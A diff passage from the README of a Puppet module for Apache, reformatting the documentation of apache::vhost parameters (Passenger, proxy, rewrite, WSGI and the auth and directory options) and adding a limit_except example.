+Default: ['Indexes','FollowSymLinks','MultiViews'],
+
##### `override`
-Sets the overrides for the specified virtual host. Accepts an array of [AllowOverride](https://httpd.apache.org/docs/current/mod/core.html#allowoverride) arguments. Default: '[none]'.
+Sets the overrides for the specified virtual host. Accepts an array of [AllowOverride](https://httpd.apache.org/docs/current/mod/core.html#allowoverride) arguments.
+
+Default: '[none]'.
##### `passenger_app_root`
Sets [PassengerRoot](https://www.phusionpassenger.com/library/config/apache/reference/#passengerapproot), the location of the Passenger application root if different from the DocumentRoot.
+Values: A string specifying a path.
+
+Default: `undef`.
+
##### `passenger_app_env`
-Sets [PassengerAppEnv](https://www.phusionpassenger.com/library/config/apache/reference/#passengerappenv), the environment for the Passenger application. If not specifies, defaults to the global setting or 'production'.
+Sets [PassengerAppEnv](https://www.phusionpassenger.com/library/config/apache/reference/#passengerappenv), the environment for the Passenger application. If not specified, defaults to the global setting or 'production'.
+
+Values: A string specifying the name of the environment.
+
+Default: `undef`.
##### `passenger_log_file`
By default, Passenger log messages are written to the Apache global error log. With [PassengerLogFile](https://www.phusionpassenger.com/library/config/apache/reference/#passengerlogfile), you can configure those messages to be logged to a different file. This option is only available since Passenger 5.0.5.
+Values: A string specifying a path.
+
+Default: `undef`.
+
##### `passenger_log_level`
-This option allows to specify how much information should be written to the log file. If not set, [PassengerLogLevel](https://www.phusionpassenger.com/library/config/apache/reference/#passengerloglevel) will not show up in the configuration file and the defaults are used. For Passenger > 3.0.0 the default is '0', since 5.0.0 it's '3'.
+This option allows to specify how much information should be written to the log file. If not set, [PassengerLogLevel](https://www.phusionpassenger.com/library/config/apache/reference/#passengerloglevel) will not show up in the configuration file and the defaults are used.
+
+Default: Passenger versions less than 3.0.0: '0'; 5.0.0 and later: '3'.
##### `passenger_ruby`
Sets [PassengerRuby](https://www.phusionpassenger.com/library/config/apache/reference/#passengerruby), the Ruby interpreter to use for the application, on this virtual host.
+Default: `undef`.
+
##### `passenger_min_instances`
Sets [PassengerMinInstances](https://www.phusionpassenger.com/library/config/apache/reference/#passengermininstances), the minimum number of application processes to run.
+##### `passenger_max_requests`
+
+Sets [PassengerMaxRequests](https://www.phusionpassenger.com/library/config/apache/reference/#pas
+sengermaxrequests), the maximum number of requests an application process will process.
+
##### `passenger_max_instances_per_app`
Sets [PassengerMaxInstancesPerApp](https://www.phusionpassenger.com/library/config/apache/reference/#passengermaxinstancesperapp), the maximum number of application processes that may simultaneously exist for a single application.
+Default: `undef`.
+
##### `passenger_start_timeout`
Sets [PassengerStartTimeout](https://www.phusionpassenger.com/library/config/apache/reference/#passengerstarttimeout), the timeout for the application startup.
@@ -2678,7 +3598,7 @@ Sets [PassengerUser](https://www.phusionpassenger.com/library/config/apache/refe
##### `passenger_high_performance`
-Sets the [`PassengerHighPerformance`](https://www.phusionpassenger.com/library/config/apache/reference/#passengerhighperformance) parameter. Valid options: 'true', 'false'. Default: undef.
+Sets the [`PassengerHighPerformance`](https://www.phusionpassenger.com/library/config/apache/reference/#passengerhighperformance) parameter. Values: `true`, `false`. Default: `undef`.
##### `passenger_nodejs`
@@ -2686,7 +3606,9 @@ Sets the [`PassengerNodejs`](https://www.phusionpassenger.com/library/config/apa
##### `passenger_sticky_sessions`
-Sets the [`PassengerStickySessions`](https://www.phusionpassenger.com/library/config/apache/reference/#passengerstickysessions) parameter. Valid options: 'true', 'false'. Default: undef.
+Sets the [`PassengerStickySessions`](https://www.phusionpassenger.com/library/config/apache/reference/#passengerstickysessions) parameter.
+
+Boolean. Default: `undef`.
##### `passenger_startup_file`
@@ -2694,11 +3616,15 @@ Sets the [`PassengerStartupFile`](https://www.phusionpassenger.com/library/confi
##### `php_flags & values`
-Allows per-virtual host setting [`php_value`s or `php_flag`s](http://php.net/manual/en/configuration.changes.php). These flags or values can be overwritten by a user or an application. Default: '{}'.
+Allows per-virtual host setting [`php_value`s or `php_flag`s](http://php.net/manual/en/configuration.changes.php). These flags or values can be overwritten by a user or an application.
+
+Default: '{}'.
##### `php_admin_flags & values`
-Allows per-virtual host setting [`php_admin_value`s or `php_admin_flag`s](http://php.net/manual/en/configuration.changes.php). These flags or values cannot be overwritten by a user or an application. Default: '{}'.
+Allows per-virtual host setting [`php_admin_value`s or `php_admin_flag`s](http://php.net/manual/en/configuration.changes.php). These flags or values cannot be overwritten by a user or an application.
+
+Default: '{}'.
##### `port`
@@ -2706,21 +3632,27 @@ Sets the port the host is configured on. The module's defaults ensure the host l
##### `priority`
-Sets the relative load-order for Apache HTTPD VirtualHost configuration files. Default: '25'.
+Sets the relative load-order for Apache HTTPD VirtualHost configuration files.
If nothing matches the priority, the first name-based virtual host is used. Likewise, passing a higher priority causes the alphabetically first name-based virtual host to be used if no other names match.
> **Note:** You should not need to use this parameter. However, if you do use it, be aware that the `default_vhost` parameter for `apache::vhost` passes a priority of '15'.
-To omit the priority prefix in file names, pass a priority of false.
+To omit the priority prefix in file names, pass a priority of `false`.
+
+Default: '25'.
##### `proxy_dest`
-Specifies the destination address of a [ProxyPass](https://httpd.apache.org/docs/current/mod/mod_proxy.html#proxypass) configuration. Default: undef.
+Specifies the destination address of a [ProxyPass](https://httpd.apache.org/docs/current/mod/mod_proxy.html#proxypass) configuration.
+
+Default: `undef`.
##### `proxy_pass`
-Specifies an array of `path => URI` values for a [ProxyPass](https://httpd.apache.org/docs/current/mod/mod_proxy.html#proxypass) configuration. Defaults to 'undef'. Optionally parameters can be added as an array.
+Specifies an array of `path => URI` values for a [ProxyPass](https://httpd.apache.org/docs/current/mod/mod_proxy.html#proxypass) configuration. Optionally, parameters can be added as an array.
+
+Default: `undef`.
``` puppet
apache::vhost { 'site.name.fdqn':
@@ -2745,10 +3677,10 @@ apache::vhost { 'site.name.fdqn':
}
```
-* `reverse_urls`. *Optional.* This setting is useful when used with `mod_proxy_balancer`. Valid options: an array or string.
+* `reverse_urls`. *Optional.* This setting is useful when used with `mod_proxy_balancer`. Values: an array or string.
* `reverse_cookies`. *Optional.* Sets `ProxyPassReverseCookiePath` and `ProxyPassReverseCookieDomain`.
* `params`. *Optional.* Allows for ProxyPass key-value parameters, such as connection settings.
-* `setenv`. *Optional.* Sets [environment variables](https://httpd.apache.org/docs/current/mod/mod_proxy.html#envsettings) for the proxy directive. Valid options: array.
+* `setenv`. *Optional.* Sets [environment variables](https://httpd.apache.org/docs/current/mod/mod_proxy.html#envsettings) for the proxy directive. Values: array.
##### `proxy_dest_match`
@@ -2764,15 +3696,21 @@ This directive is equivalent to [`proxy_pass`][], but takes regular expressions,
##### `rack_base_uris`
-Specifies the resource identifiers for a rack configuration. The file paths specified are listed as rack application roots for [Phusion Passenger](http://www.modrails.com/documentation/Users%20guide%20Apache.html#_railsbaseuri_and_rackbaseuri) in the _rack.erb template. Default: undef.
+Specifies the resource identifiers for a rack configuration. The file paths specified are listed as rack application roots for [Phusion Passenger](http://www.modrails.com/documentation/Users%20guide%20Apache.html#_railsbaseuri_and_rackbaseuri) in the _rack.erb template.
+
+Default: `undef`.
#####`passenger_base_uris`
-Used to specify that the given URI is a Phusion Passenger-served application. The file paths specified are listed as passenger application roots for [Phusion Passenger](https://www.phusionpassenger.com/documentation/Users%20guide%20Apache.html#PassengerBaseURI) in the _passenger_base_uris.erb template. Default: undef.
+Used to specify that the given URI is a Phusion Passenger-served application. The file paths specified are listed as passenger application roots for [Phusion Passenger](https://www.phusionpassenger.com/documentation/Users%20guide%20Apache.html#PassengerBaseURI) in the _passenger_base_uris.erb template.
+
+Default: `undef`.
##### `redirect_dest`
-Specifies the address to redirect to. Default: undef.
+Specifies the address to redirect to.
+
+Default: `undef`.
##### `redirect_source`
@@ -2788,7 +3726,9 @@ apache::vhost { 'site.name.fdqn':
##### `redirect_status`
-Specifies the status to append to the redirect. Default: undef.
+Specifies the status to append to the redirect.
+
+Default: `undef`.
``` puppet
apache::vhost { 'site.name.fdqn':
@@ -2797,9 +3737,15 @@ apache::vhost { 'site.name.fdqn':
}
```
-##### `redirectmatch_regexp` & `redirectmatch_status` & `redirectmatch_dest`
+##### `redirectmatch_*`
-Determines which server status should be raised for a given regular expression and where to forward the user to. Entered as arrays. Default: undef.
+* `redirectmatch_regexp`
+* `redirectmatch_status`
+* `redirectmatch_dest`
+
+Determines which server status should be raised for a given regular expression and where to forward the user to. Entered as arrays.
+
+Default: `undef`.
``` puppet
apache::vhost { 'site.name.fdqn':
@@ -2812,7 +3758,9 @@ apache::vhost { 'site.name.fdqn':
##### `request_headers`
-Modifies collected [request headers](https://httpd.apache.org/docs/current/mod/mod_headers.html#requestheader) in various ways, including adding additional request headers, removing request headers, etc. Default: undef.
+Modifies collected [request headers](https://httpd.apache.org/docs/current/mod/mod_headers.html#requestheader) in various ways, including adding additional request headers, removing request headers, and so on.
+
+Default: `undef`.
``` puppet
apache::vhost { 'site.name.fdqn':
@@ -2823,9 +3771,14 @@ apache::vhost { 'site.name.fdqn':
],
}
```
+
##### `rewrites`
-Creates URL rewrite rules. Expects an array of hashes, and the hash keys can be any of 'comment', 'rewrite_base', 'rewrite_cond', 'rewrite_rule' or 'rewrite_map'. Default: undef.
+Creates URL rewrite rules. Expects an array of hashes.
+
+Values: Hash keys that are any of 'comment', 'rewrite_base', 'rewrite_cond', 'rewrite_rule' or 'rewrite_map'.
+
+Default: `undef`.
For example, you can specify that anyone trying to access index.html is served welcome.html
@@ -2836,7 +3789,7 @@ apache::vhost { 'site.name.fdqn':
}
```
-The parameter allows rewrite conditions that, when true, execute the associated rule. For instance, if you wanted to rewrite URLs only if the visitor is using IE
+The parameter allows rewrite conditions that, when `true`, execute the associated rule. For instance, if you wanted to rewrite URLs only if the visitor is using IE
``` puppet
apache::vhost { 'site.name.fdqn':
@@ -2899,7 +3852,9 @@ Refer to the [`mod_rewrite` documentation][`mod_rewrite`] for more details on wh
##### `rewrite_inherit`
-Determines whether the virtual host inherits global rewrite rules. Default: false.
+Determines whether the virtual host inherits global rewrite rules.
+
+Default: `false`.
Rewrite rules may be specified globally (in `$conf_file` or `$confd_dir`) or inside the virtual host `.conf` file. By default, virtual hosts do not inherit global settings. To activate inheritance, specify the `rewrites` parameter and set `rewrite_inherit` parameter to `true`:
@@ -2909,14 +3864,12 @@ apache::vhost { 'site.name.fdqn':
rewrites => [
,
],
- rewrite_inherit => true,
+ rewrite_inherit => `true`,
}
```
> **Note**: The `rewrites` parameter is **required** for this to have effect
-###### Some background
-
Apache activates global `Rewrite` rules inheritance if the virtual host files contains the following directives:
``` ApacheConf
@@ -2928,7 +3881,9 @@ Refer to the [official `mod_rewrite` documentation](https://httpd.apache.org/doc
##### `scriptalias`
-Defines a directory of CGI scripts to be aliased to the path '/cgi-bin', such as '/usr/scripts'. Default: undef.
+Defines a directory of CGI scripts to be aliased to the path '/cgi-bin', such as '/usr/scripts'.
+
+Default: `undef`.
##### `scriptaliases`
@@ -2961,19 +3916,27 @@ The ScriptAlias and ScriptAliasMatch directives are created in the order specifi
##### `serveradmin`
-Specifies the email address Apache displays when it renders one of its error pages. Default: undef.
+Specifies the email address Apache displays when it renders one of its error pages.
+
+Default: `undef`.
##### `serveraliases`
-Sets the [ServerAliases](https://httpd.apache.org/docs/current/mod/core.html#serveralias) of the site. Default: '[]'.
+Sets the [ServerAliases](https://httpd.apache.org/docs/current/mod/core.html#serveralias) of the site.
+
+Default: '[]'.
##### `servername`
-Sets the servername corresponding to the hostname you connect to the virtual host at. Default: the title of the resource.
+Sets the servername corresponding to the hostname you connect to the virtual host at.
+
+Default: the title of the resource.
##### `setenv`
-Used by HTTPD to set environment variables for virtual hosts. Default: '[]'.
+Used by HTTPD to set environment variables for virtual hosts.
+
+Default: '[]'.
Example:
@@ -2985,19 +3948,27 @@ apache::vhost { 'setenv.example.com':
##### `setenvif`
-Used by HTTPD to conditionally set environment variables for virtual hosts. Default: '[]'.
+Used by HTTPD to conditionally set environment variables for virtual hosts.
+
+Default: '[]'.
##### `setenvifnocase`
-Used by HTTPD to conditionally set environment variables for virtual hosts (caseless matching). Default: '[]'.
+Used by HTTPD to conditionally set environment variables for virtual hosts (caseless matching).
-##### `suphp_addhandler`, `suphp_configpath`, & `suphp_engine`
+Default: '[]'.
+
+##### `suphp_*`
+
+* `suphp_addhandler`
+* `suphp_configpath`
+* `suphp_engine`
Sets up a virtual host with [suPHP](http://suphp.org/DocumentationView.html?file=apache/CONFIG).
* `suphp_addhandler`. Default: 'php5-script' on RedHat and FreeBSD, and 'x-httpd-php' on Debian and Gentoo.
-* `suphp_configpath`. Default: undef on RedHat and FreeBSD, and '/etc/php5/apache2' on Debian and Gentoo.
-* `suphp_engine`. Valid options: 'on' or 'off'. Default: 'off'.
+* `suphp_configpath`. Default: `undef` on RedHat and FreeBSD, and '/etc/php5/apache2' on Debian and Gentoo.
+* `suphp_engine`. Values: 'on' or 'off'. Default: 'off'.
An example virtual host configuration with suPHP:
@@ -3016,11 +3987,15 @@ apache::vhost { 'suphp.example.com':
##### `vhost_name`
-Enables name-based virtual hosting. If no IP is passed to the virtual host, but the virtual host is assigned a port, then the virtual host name is 'vhost_name:port'. If the virtual host has no assigned IP or port, the virtual host name is set to the title of the resource. Default: '*'.
+Enables name-based virtual hosting. If no IP is passed to the virtual host, but the virtual host is assigned a port, then the virtual host name is 'vhost_name:port'. If the virtual host has no assigned IP or port, the virtual host name is set to the title of the resource.
+
+Default: '*'.
##### `virtual_docroot`
-Sets up a virtual host with a wildcard alias subdomain mapped to a directory with the same name. For example, 'http://example.com' would map to '/var/www/example.com'. Default: false.
+Sets up a virtual host with a wildcard alias subdomain mapped to a directory with the same name. For example, 'http://example.com' would map to '/var/www/example.com'.
+
+Default: `false`.
``` puppet
apache::vhost { 'subdomain.loc':
@@ -3032,17 +4007,23 @@ apache::vhost { 'subdomain.loc':
}
```
-##### `wsgi_daemon_process`, `wsgi_daemon_process_options`, `wsgi_process_group`, `wsgi_script_aliases`, & `wsgi_pass_authorization`
+##### `wsgi*`
+
+* `wsgi_daemon_process`
+* `wsgi_daemon_process_options`
+* `wsgi_process_group`
+* `wsgi_script_aliases`
+* `wsgi_pass_authorization`
Sets up a virtual host with [WSGI](https://github.com/GrahamDumpleton/mod_wsgi).
-* `wsgi_daemon_process`: A hash that sets the name of the WSGI daemon, accepting [certain keys](http://modwsgi.readthedocs.org/en/latest/configuration-directives/WSGIDaemonProcess.html). Default: undef.
-* `wsgi_daemon_process_options`. _Optional._ Default: undef.
-* `wsgi_process_group`: Sets the group ID that the virtual host runs under. Default: undef.
-* `wsgi_script_aliases`: Requires a hash of web paths to filesystem .wsgi paths. Default: undef.
-* `wsgi_script_aliases_match`: Requires a hash of web path regexes to filesystem .wsgi paths. Default: undef
-* `wsgi_pass_authorization`: Uses the WSGI application to handle authorization instead of Apache when set to 'On'. For more information, see [mod_wsgi's WSGIPassAuthorization documentation] (https://modwsgi.readthedocs.org/en/latest/configuration-directives/WSGIPassAuthorization.html). Default: undef, leading Apache to use its default value of 'Off'.
-* `wsgi_chunked_request`: Enables support for chunked requests. Default: undef.
+* `wsgi_daemon_process`: A hash that sets the name of the WSGI daemon, accepting [certain keys](http://modwsgi.readthedocs.org/en/latest/configuration-directives/WSGIDaemonProcess.html). Default: `undef`.
+* `wsgi_daemon_process_options`. _Optional._ Default: `undef`.
+* `wsgi_process_group`: Sets the group ID that the virtual host runs under. Default: `undef`.
+* `wsgi_script_aliases`: Requires a hash of web paths to filesystem .wsgi paths. Default: `undef`.
+* `wsgi_script_aliases_match`: Requires a hash of web path regexes to filesystem .wsgi paths. Default: `undef`
+* `wsgi_pass_authorization`: Uses the WSGI application to handle authorization instead of Apache when set to 'On'. For more information, see [mod_wsgi's WSGIPassAuthorization documentation] (https://modwsgi.readthedocs.org/en/latest/configuration-directives/WSGIPassAuthorization.html). Default: `undef`, leading Apache to use its default value of 'Off'.
+* `wsgi_chunked_request`: Enables support for chunked requests. Default: `undef`.
An example virtual host configuration with WSGI:
@@ -3068,7 +4049,7 @@ The `directories` parameter within the `apache::vhost` class passes an array of
The `path` key sets the path for the directory, files, and location blocks. Its value must be a path for the 'directory', 'files', and 'location' providers, or a regex for the 'directorymatch', 'filesmatch', or 'locationmatch' providers. Each hash passed to `directories` **must** contain `path` as one of the keys.
-The `provider` key is optional. If missing, this key defaults to 'directory'. Valid options: 'directory', 'files', 'proxy', 'location', 'directorymatch', 'filesmatch', 'proxymatch' or 'locationmatch'. If you set `provider` to 'directorymatch', it uses the keyword 'DirectoryMatch' in the Apache config file.
+The `provider` key is optional. If missing, this key defaults to 'directory'. Values: 'directory', 'files', 'proxy', 'location', 'directorymatch', 'filesmatch', 'proxymatch' or 'locationmatch'. If you set `provider` to 'directorymatch', it uses the keyword 'DirectoryMatch' in the Apache config file.
An example use of `directories`:
@@ -3097,7 +4078,7 @@ apache::vhost { 'sample.example.net':
Any handlers you do not set in these hashes are considered 'undefined' within Puppet and are not added to the virtual host, resulting in the module using their default values. Supported handlers are:
-###### `addhandlers`
+##### `addhandlers`
Sets [AddHandler](https://httpd.apache.org/docs/current/mod/mod_mime.html#addhandler) directives, which map filename extensions to the specified handler. Accepts a list of hashes, with `extensions` serving to list the extensions being managed by the handler, and takes the form: `{ handler => 'handler-name', extensions => ['extension'] }`.
@@ -3114,7 +4095,7 @@ apache::vhost { 'sample.example.net':
}
```
-###### `allow`
+##### `allow`
Sets an [Allow](https://httpd.apache.org/docs/2.2/mod/mod_authz_host.html#allow) directive, which groups authorizations based on hostnames or IPs. **Deprecated:** This parameter is being deprecated due to a change in Apache. It only works with Apache 2.2 and lower. You can use it as a single string for one rule or as an array for more than one.
@@ -3129,7 +4110,7 @@ apache::vhost { 'sample.example.net':
}
```
-###### `allow_override`
+##### `allow_override`
Sets the types of directives allowed in [.htaccess](https://httpd.apache.org/docs/current/mod/core.html#allowoverride) files. Accepts an array.
@@ -3144,19 +4125,19 @@ apache::vhost { 'sample.example.net':
}
```
-###### `auth_basic_authoritative`
+##### `auth_basic_authoritative`
Sets the value for [AuthBasicAuthoritative](https://httpd.apache.org/docs/current/mod/mod_auth_basic.html#authbasicauthoritative), which determines whether authorization and authentication are passed to lower level Apache modules.
-###### `auth_basic_fake`
+##### `auth_basic_fake`
Sets the value for [AuthBasicFake](https://httpd.apache.org/docs/current/mod/mod_auth_basic.html#authbasicfake), which statically configures authorization credentials for a given directive block.
-###### `auth_basic_provider`
+##### `auth_basic_provider`
Sets the value for [AuthBasicProvider](https://httpd.apache.org/docs/current/mod/mod_auth_basic.html#authbasicprovider), which sets the authentication provider for a given location.
-###### `auth_digest_algorithm`
+##### `auth_digest_algorithm`
Sets the value for [AuthDigestAlgorithm](https://httpd.apache.org/docs/current/mod/mod_auth_digest.html#authdigestalgorithm), which selects the algorithm used to calculate the challenge and response hashes.
@@ -3164,67 +4145,67 @@ Sets the value for [AuthDigestAlgorithm](https://httpd.apache.org/docs/current/m
Sets the value for [AuthDigestDomain](https://httpd.apache.org/docs/current/mod/mod_auth_digest.html#authdigestdomain), which allows you to specify one or more URIs in the same protection space for digest authentication.
-###### `auth_digest_nonce_lifetime`
+##### `auth_digest_nonce_lifetime`
Sets the value for [AuthDigestNonceLifetime](https://httpd.apache.org/docs/current/mod/mod_auth_digest.html#authdigestnoncelifetime), which controls how long the server nonce is valid.
-###### `auth_digest_provider`
+##### `auth_digest_provider`
Sets the value for [AuthDigestProvider](https://httpd.apache.org/docs/current/mod/mod_auth_digest.html#authdigestprovider), which sets the authentication provider for a given location.
-###### `auth_digest_qop`
+##### `auth_digest_qop`
Sets the value for [AuthDigestQop](https://httpd.apache.org/docs/current/mod/mod_auth_digest.html#authdigestqop), which determines the quality-of-protection to use in digest authentication.
-###### `auth_digest_shmem_size`
+##### `auth_digest_shmem_size`
Sets the value for [AuthAuthDigestShmemSize](https://httpd.apache.org/docs/current/mod/mod_auth_digest.html#authdigestshmemsize), which defines the amount of shared memory allocated to the server for keeping track of clients.
-###### `auth_group_file`
+##### `auth_group_file`
Sets the value for [AuthGroupFile](https://httpd.apache.org/docs/current/mod/mod_authz_groupfile.html#authgroupfile), which sets the name of the text file containing the list of user groups for authorization.
-###### `auth_name`
+##### `auth_name`
Sets the value for [AuthName](https://httpd.apache.org/docs/current/mod/mod_authn_core.html#authname), which sets the name of the authorization realm.
-###### `auth_require`
+##### `auth_require`
Sets the entity name you're requiring to allow access. Read more about [Require](https://httpd.apache.org/docs/current/mod/mod_authz_host.html#requiredirectives).
-###### `auth_type`
+##### `auth_type`
Sets the value for [AuthType](https://httpd.apache.org/docs/current/mod/mod_authn_core.html#authtype), which guides the type of user authentication.
-###### `auth_user_file`
+##### `auth_user_file`
Sets the value for [AuthUserFile](https://httpd.apache.org/docs/current/mod/mod_authn_file.html#authuserfile), which sets the name of the text file containing the users/passwords for authentication.
-###### `auth_merging`
+##### `auth_merging`
Sets the value for [AuthMerging](https://httpd.apache.org/docs/current/mod/mod_authz_core.html#authmerging), which determines if authorization logic should be combined
-###### `auth_ldap_url`
+##### `auth_ldap_url`
Sets the value for [AuthLDAPURL](https://httpd.apache.org/docs/current/mod/mod_authnz_ldap.html#authldapurl), which determines URL of LDAP-server(s) if AuthBasicProvider 'ldap' is used
-###### `auth_ldap_bind_dn`
+##### `auth_ldap_bind_dn`
-Sets the value for [AuthLDAPBindDN](https://httpd.apache.org/docs/current/mod/mod_authnz_ldap.html#authldapbinddn), which allows use of an optional DN used to bind to the LDAP-server when searching for entries if AuthBasicProvider 'ldap' is used
+Sets the value for [AuthLDAPBindDN](https://httpd.apache.org/docs/current/mod/mod_authnz_ldap.html#authldapbinddn), which allows use of an optional DN used to bind to the LDAP-server when searching for entries if AuthBasicProvider 'ldap' is used.
-###### `auth_ldap_bind_password`
+##### `auth_ldap_bind_password`
-Sets the value for [AuthLDAPBindPassword](https://httpd.apache.org/docs/current/mod/mod_authnz_ldap.html#authldapbindpassword), which allows use of an optional bind password to use in conjunction with the bind DN if AuthBasicProvider 'ldap' is used
+Sets the value for [AuthLDAPBindPassword](https://httpd.apache.org/docs/current/mod/mod_authnz_ldap.html#authldapbindpassword), which allows use of an optional bind password to use in conjunction with the bind DN if AuthBasicProvider 'ldap' is used.
-###### `auth_ldap_group_attribute`
+##### `auth_ldap_group_attribute`
-Array of values for [AuthLDAPGroupAttribute](https://httpd.apache.org/docs/current/mod/mod_authnz_ldap.html#authldapgroupattribute), specifies which LDAP attributes are used to check for user members within ldap-groups. defaults are: "member" and "uniquemember"
+Array of values for [AuthLDAPGroupAttribute](https://httpd.apache.org/docs/current/mod/mod_authnz_ldap.html#authldapgroupattribute), specifies which LDAP attributes are used to check for user members within ldap-groups. Defaults are: "member" and "uniquemember".
-###### `auth_ldap_group_attribute_is_dn`
+##### `auth_ldap_group_attribute_is_dn`
Sets value for [AuthLDAPGroupAttributeIsDN](https://httpd.apache.org/docs/current/mod/mod_authnz_ldap.html#authldapgroupattributeisdn), specifies if member of a ldapgroup is a dn or simple username. When set on, this directive says to use the distinguished name of the client username when checking for group membership. Otherwise, the username will be used. valid values are: "on" or "off"
-###### `custom_fragment`
+##### `custom_fragment`
Pass a string of custom configuration directives to be placed at the end of the directory configuration.
@@ -3251,19 +4232,19 @@ ProxyStatus On',
}
```
-###### `dav`
+##### `dav`
-Sets the value for [Dav](http://httpd.apache.org/docs/current/mod/mod_dav.html#dav), which determines if the WebDAV HTTP methods should be enabled. The value can be either `On`, `Off` or the name of the provider. A value of `On` enables the default filesystem provider implemented by the `mod_dav_fs` module.
+Sets the value for [Dav](http://httpd.apache.org/docs/current/mod/mod_dav.html#dav), which determines if the WebDAV HTTP methods should be enabled. The value can be either 'On', 'Off' or the name of the provider. A value of 'On' enables the default filesystem provider implemented by the `mod_dav_fs` module.
-###### `dav_depth_infinity`
+##### `dav_depth_infinity`
Sets the value for [DavDepthInfinity](http://httpd.apache.org/docs/current/mod/mod_dav.html#davdepthinfinity), which is used to enable the processing of `PROPFIND` requests having a `Depth: Infinity` header.
-###### `dav_min_timeout`
+##### `dav_min_timeout`
Sets the value for [DavMinTimeout](http://httpd.apache.org/docs/current/mod/mod_dav.html#davmintimeout), which sets the time the server holds a lock on a DAV resource. The value should be the number of seconds to set.
-###### `deny`
+##### `deny`
Sets a [Deny](https://httpd.apache.org/docs/2.2/mod/mod_authz_host.html#deny) directive, specifying which hosts are denied access to the server. **Deprecated:** This parameter is being deprecated due to a change in Apache. It only works with Apache 2.2 and lower. You can use it as a single string for one rule or as an array for more than one.
@@ -3278,7 +4259,7 @@ apache::vhost { 'sample.example.net':
}
```
-###### `error_documents`
+##### `error_documents`
An array of hashes used to override the [ErrorDocument](https://httpd.apache.org/docs/current/mod/core.html#errordocument) settings for the directory.
@@ -3296,7 +4277,7 @@ apache::vhost { 'sample.example.net':
}
```
-###### `ext_filter_options`
+##### `ext_filter_options`
Sets the [ExtFilterOptions](https://httpd.apache.org/docs/current/mod/mod_ext_filter.html) directive.
Note that you must declare `class { 'apache::mod::ext_filter': }` before using this directive.
@@ -3312,7 +4293,7 @@ apache::vhost { 'filter.example.org':
}
```
-###### `geoip_enable`
+##### `geoip_enable`
Sets the [GeoIPEnable](http://dev.maxmind.com/geoip/legacy/mod_geoip2/#Configuration) directive.
Note that you must declare `class {'apache::mod::geoip': }` before using this directive.
@@ -3322,13 +4303,13 @@ apache::vhost { 'first.example.com':
docroot => '/var/www/first',
directories => [
{ path => '/var/www/first',
- geoip_enable => true,
+ geoip_enable => `true`,
},
],
}
```
-###### `headers`
+##### `headers`
Adds lines for [Header](https://httpd.apache.org/docs/current/mod/mod_headers.html#header) directives.
@@ -3342,7 +4323,7 @@ apache::vhost { 'sample.example.net':
}
```
-###### `index_options`
+##### `index_options`
Allows configuration settings for [directory indexing](https://httpd.apache.org/docs/current/mod/mod_autoindex.html#indexoptions).
@@ -3359,7 +4340,7 @@ apache::vhost { 'sample.example.net':
}
```
-###### `index_order_default`
+##### `index_order_default`
Sets the [default ordering](https://httpd.apache.org/docs/current/mod/mod_autoindex.html#indexorderdefault) of the directory index.
@@ -3392,7 +4373,7 @@ apache::vhost { 'sample.example.net':
}
```
-###### `limit`
+##### `limit`
Creates a [Limit](https://httpd.apache.org/docs/current/mod/core.html#limit) block inside the Directory block, which can also contain `require` directives.
@@ -3412,7 +4393,27 @@ apache::vhost { 'sample.example.net':
}
```
-###### `mellon_enable`
+##### `limit_except`
+
+Creates a [LimitExcept](https://httpd.apache.org/docs/current/mod/core.html#limitexcept) block inside the Directory block, which can also contain `require` directives.
+
+``` puppet
+apache::vhost { 'sample.example.net':
+ docroot => '/path/to/docroot',
+ directories => [
+ { path => '/',
+ provider => 'location',
+ limit_except => [
+ { methods => 'GET HEAD',
+ require => ['valid-user']
+ },
+ ],
+ },
+ ],
+}
+```
+
+##### `mellon_enable`
Sets the [MellonEnable][`mod_auth_mellon`] directory to enable [`mod_auth_mellon`][]. You can use [`apache::mod::auth_mellon`][] to install `mod_auth_mellon`.
@@ -3453,7 +4454,7 @@ to environment variables.
- `mellon_sp_cert_file`: Sets the [MellonSPCertFile][`mod_auth_mellon`] directive for the public key location of the service provider.
- `mellon_user`: Sets the [MellonUser][`mod_auth_mellon`] attribute to use for the username.
-###### `options`
+##### `options`
Lists the [Options](https://httpd.apache.org/docs/current/mod/core.html#options) for the given Directory block.
@@ -3468,7 +4469,7 @@ apache::vhost { 'sample.example.net':
}
```
-###### `order`
+##### `order`
Sets the order of processing Allow and Deny statements as per [Apache core documentation](https://httpd.apache.org/docs/2.2/mod/mod_authz_host.html#order). **Deprecated:** This parameter is being deprecated due to a change in Apache. It only works with Apache 2.2 and lower.
@@ -3483,7 +4484,7 @@ apache::vhost { 'sample.example.net':
}
```
-###### `passenger_enabled`
+##### `passenger_enabled`
Sets the value for the [PassengerEnabled](http://www.modrails.com/documentation/Users%20guide%20Apache.html#PassengerEnabled) directive to 'on' or 'off'. Requires `apache::mod::passenger` to be included.
@@ -3500,16 +4501,16 @@ apache::vhost { 'sample.example.net':
> **Note:** There is an [issue](http://www.conandalton.net/2010/06/passengerenabled-off-not-working.html) using the PassengerEnabled directive with the PassengerHighPerformance directive.
-###### `php_value` and `php_flag`
+##### `php_value` and `php_flag`
`php_value` sets the value of the directory, and `php_flag` uses a boolean to configure the directory. Further information can be found [here](http://php.net/manual/en/configuration.changes.php).
-###### `php_admin_value` and `php_admin_flag`
+##### `php_admin_value` and `php_admin_flag`
`php_admin_value` sets the value of the directory, and `php_admin_flag` uses a boolean to configure the directory. Further information can be found [here](http://php.net/manual/en/configuration.changes.php).
-###### `require`
+##### `require`
Sets a `Require` directive as per the [Apache Authz documentation](https://httpd.apache.org/docs/current/mod/mod_authz_core.html#require). If no `require` is set, it will default to `Require all granted`.
@@ -3561,7 +4562,7 @@ apache::vhost { 'sample.example.net':
-###### `satisfy`
+##### `satisfy`
Sets a `Satisfy` directive per the [Apache Core documentation](https://httpd.apache.org/docs/2.2/mod/core.html#satisfy). **Deprecated:** This parameter is deprecated due to a change in Apache and only works with Apache 2.2 and lower.
@@ -3576,7 +4577,7 @@ apache::vhost { 'sample.example.net':
}
```
-###### `sethandler`
+##### `sethandler`
Sets a `SetHandler` directive per the [Apache Core documentation](https://httpd.apache.org/docs/2.2/mod/core.html#sethandler).
@@ -3591,7 +4592,7 @@ apache::vhost { 'sample.example.net':
}
```
-###### `set_output_filter`
+##### `set_output_filter`
Sets a `SetOutputFilter` directive per the [Apache Core documentation](https://httpd.apache.org/docs/current/mod/core.html#setoutputfilter).
@@ -3606,7 +4607,7 @@ apache::vhost{ 'filter.example.net':
}
```
-###### `rewrites`
+##### `rewrites`
